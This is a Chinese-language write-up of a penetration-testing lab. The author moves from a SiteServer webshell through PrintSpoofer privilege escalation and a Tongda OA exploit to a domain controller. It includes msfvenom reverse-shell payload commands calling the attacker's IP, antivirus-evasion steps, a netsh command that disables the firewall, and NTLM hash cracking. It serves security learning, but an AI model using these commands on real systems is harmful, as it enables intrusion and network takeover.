首先环境配置
VMware的网络配置图
环境拓扑图
开始渗透
信息收集
使用kali扫描一下靶机的IP地址
靶机IP:192.168.0.114
攻击机IP:192.168.0.109
获取到了ip地址之后,我们扫描一下靶机开放的端口
靶机开放了21,80,999,3389,5985,6588端口
使用masscan扫描的时候,rate不要改那么大,不然可能会被拦截,导致扫描出来的结果不完全
根据开放的端口使用nmap进行进一步的扫描
好像有很多个httpd服务,我们从80开始试
直接访问是行不通的,我们需要编辑hosts给他解析一个域名
这个域名是题目给的www.moonlab.com
我们修改一下hosts文件后再去访问
渗透开始
Web服务器
修改好之后我们访问一下
访问后发现是一片空白,根据习惯,对于web页面,我们可以访问一下robots.txt文件
有三个目录,我们首先访问第一个/SiteServer/
是一个siteserver的登录界面,并且版本号为3.6.4我们查一下有关这个框架的漏洞
找到了一个能跳过回答问题直接获得管理员密码的漏洞
https://cn-sec.com/archives/71636.html
说直接禁用js即可获得管理员密码
这里答案选择空,然后使用插件把js禁用点下一步即可获得admin的密码
我们使用这个密码去登录一下
成功登录到后台,我们看看有没有什么地方可以上传shell的
ps:这里跟WordPress上传shell一样,我发现的有两个地方可以上传
1.可以把shell打包成一个主题文件zip,上传之后解压,就可以获得shell
2.找到可以直接修改文件的地方,把代码修改成我们的恶意代码也可以实现
我这里使用的第二种方法
我们找一下哪个地方可以修改文件
有一个T_xxx.aspx的文件,是首页的默认模板,意思就是我们直接修改T_xxx.aspx这个文件,再访问www.moonlab.com就可以直接访问到我们的shell了
这里我是用的冰蝎自带的aspx的木马,因为普通的一句话会被安全狗拦截下来
保存之后我们直接用冰蝎尝试连接一下
如果用其他的工具,没有通过处理的,很有可能会被防火墙把流量拦截下来
成功连接,我们看一下当前的权限
是普通用户的权限,我们尝试一下提权,首先看一下服务器运行了些什么程序,开了什么服务
net start
开了安全狗、Defender、firewall、mysql和Print Spooler等服务
再看一下服务器系统版本
这样我们可以根据开放的服务和系统版本查找一下可能的提权工具
我们可以利用print spooler服务进行提权
去github上查找一下exp
https://github.com/whojeff/PrintSpoofer
把exp下载下来之后,直接上传是不行的,因为有安全狗,会把我们上传的恶意程序直接杀掉
我们需要自己做一下免杀
免杀可以参考这一篇文章
https://www.freebuf.com/articles/web/261444.html
做了免杀之后,我们把exp上传到c:/windows/temp目录下,因为这个目录跟linux的/tmp差不多,我们可以有足够的权限来上传和执行文件
成功上传,我们尝试使用一下这个程序进行提权
提权成功,获得到了system权限,我们把权限上线到msf
先在msf监听9999端口
然后冰蝎直接反弹shell回来
SYSTEM权限上线CS
我们首先要反弹一个system权限到msf,然后再派生到cs上
我们先使用msf创建一个反弹程序,然后看看能不能上传成功,做一下免杀
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=2333 -e x86/shikata_ga_nai -i 20 -f c -o payload3.c
生成成功后,用工具做一下免杀,然后上传测试
成功上传了,然后我们使用dayu.exe提权运行一下
终于反弹成功,我们把权限派生到cs吧
use exploit/windows/local/payload_inject
set lhost 192.168.0.109 #此处跟cs监听器一样
set lport 6060 #此处跟cs监听器一样
set session 6 #跟自己获得的session的id一致
run
成功上线到cs
我们查看一下他的网卡,进行进一步渗透
发现还有一张10.10.1.0/24网段的网卡,我们添加一下路由
使用arp扫描一下这个网段下还有什么别的主机
扫描出来还有一个10.10.1.130的主机,我们使用msf创建一个通往10.10.1.0/24的代理
修改一下/etc/proxychains4.conf文件
然后使用命令测试一下连通性
proxychains4 curl 10.10.1.130
成功返回了,我们扫描一下主机开放的端口
proxychains4 nmap -Pn -sT -sV 10.10.1.130
发现只对外开放了80端口,我们用网站访问一下
proxychains4 firefox 10.10.1.130
发现是一个通达OA的系统,并且是2020年的,这个系统是存在漏洞的
OA系统
我们去百度查询一下这个系统的漏洞
找到一个工具
成功上传,我们用蚁剑尝试一下连接
注意,windows需要使用代理才可以连上10网段
成功连上,但是蚁剑并不能执行命令
我们上传一个冰蝎的马,然后用冰蝎连接吧
连接
连接成功,并且是system权限,很不错,我们查看一下IP地址
发现有两张网卡,另外一张是10.10.10.0/24网段的,这应该就是域控在的网段了,现在我们尝试拿下域控
拿下域控
搭建代理
先弄一个能到达域控网段的代理
开放了445端口,如果可以利用的话,我们就不用搞二层代理了,方便一点,但是我们之前扫描的时候,只能扫描到80端口,猜测是防火墙拦截了,我们用命令把防火墙关闭一下
NetSh Advfirewall set allprofiles state off
关闭成功,我们重新扫描一下445端口
成功开放了
我们使用msf生成一个攻击载荷,然后继续用工具进行一下免杀
msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -e x86/shikata_ga_nai -i 15 -f csharp -o payload_bind.txt
上传试试
看起来好像没被杀掉,我们尝试连接一下
先在msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.1.130
set lport 6666
run
成功连接
开始渗透
看看现在处于哪个域下面
域名是dc.attack.local
现在就是需要做域内信息收集了,可以用cs的beacon也可以直接使用msf的模块,我这里直接使用的msf的模块
meterpreter > run post/windows/gather/enum_domain
查询到域控的ip地址
我们再看看域有哪些用户登录着,域控有什么用户
发现本机的进程有域管理员,我们添加一下通往10.10.10.0/24的路由,探测一下域控端口开放信息
然后使用命令
proxychains4 nmap -sT -Pn 10.10.10.165 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,88,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open
探测一下服务器开放的端口
开了445和3389端口
我们首先要登录域控,我们获取一下用户的PID和SID的NTML
小插曲
我们需要登录web服务器先把他的防护软件全部关掉,然后再去获取ntml
拿到之后我们就可以尝试登录域控管理员了
破解HTLM
我们使用在线网站解密一下ntlm,看看能不能获得密码
成功获取到密码,我们用windows远程登录一下
出现这个,我们需要修改一下远程桌面的设置
可以参考这篇文章https://blog.csdn.net/qq_32682301/article/details/116003700
修改好之后我们就可以登录了
成功获取到flag
总结
这一次的内网渗透让我学到了很多新的东西,中间也遇到了很多的困难,不会的地方,不过好在网上有很多大佬已经做过writeup了,让我这个菜鸡不至于卡死
现在把整个流程都写下来吧
siteserver的找回密码漏洞,SQL注入漏洞(虽然没用上),通过siteserver上传一个webshell,获得普通权限
然后看一下系统版本信息为2016,再看看服务器开了什么服务,开了什么端口,有什么可能存在漏洞的点,然后根据这些东西去查询2016有什么漏洞可以利用
然后发现了有一个Print Spooler的提权漏洞,但是直接上传poc是不行的,因为有安全狗,Windows Defender的防护,直接上传,就会导致立马被杀,所以我们需要做一下免杀处理
参考这篇文章https://www.freebuf.com/articles/web/261444.html
然后把shell反弹到msf或者上线cs都是可以的,上传一个msf生成的攻击模块,也是需要进行免杀,以下省略
探测一下内网内别的网段,进行进一步的渗透
发现是一个通达OA的系统(刚好我知道这个漏洞)然后就是通达OA系统的渗透,提权
再通过正向代理连接到msf上,然后继续渗透,看看别的网段,找到之后,看看域的名称,域控的IP,有什么用户登录了,并且有什么可能可以利用的点,进行利用
一步一步进行权限的提升
学了很多东西,尤其是有关域内渗透还有免杀方面(上传的时候卡了我好久QAQ)的东西,让我学到了新的知识,新的工具,
可能有人说,最后直接用密码登录的,没啥含金量,其实我也试过别的方法,pth登录,还有msf的psexec模块等,但都没有成功QAQ
好啦,就这样吧
学而时习之,不亦说乎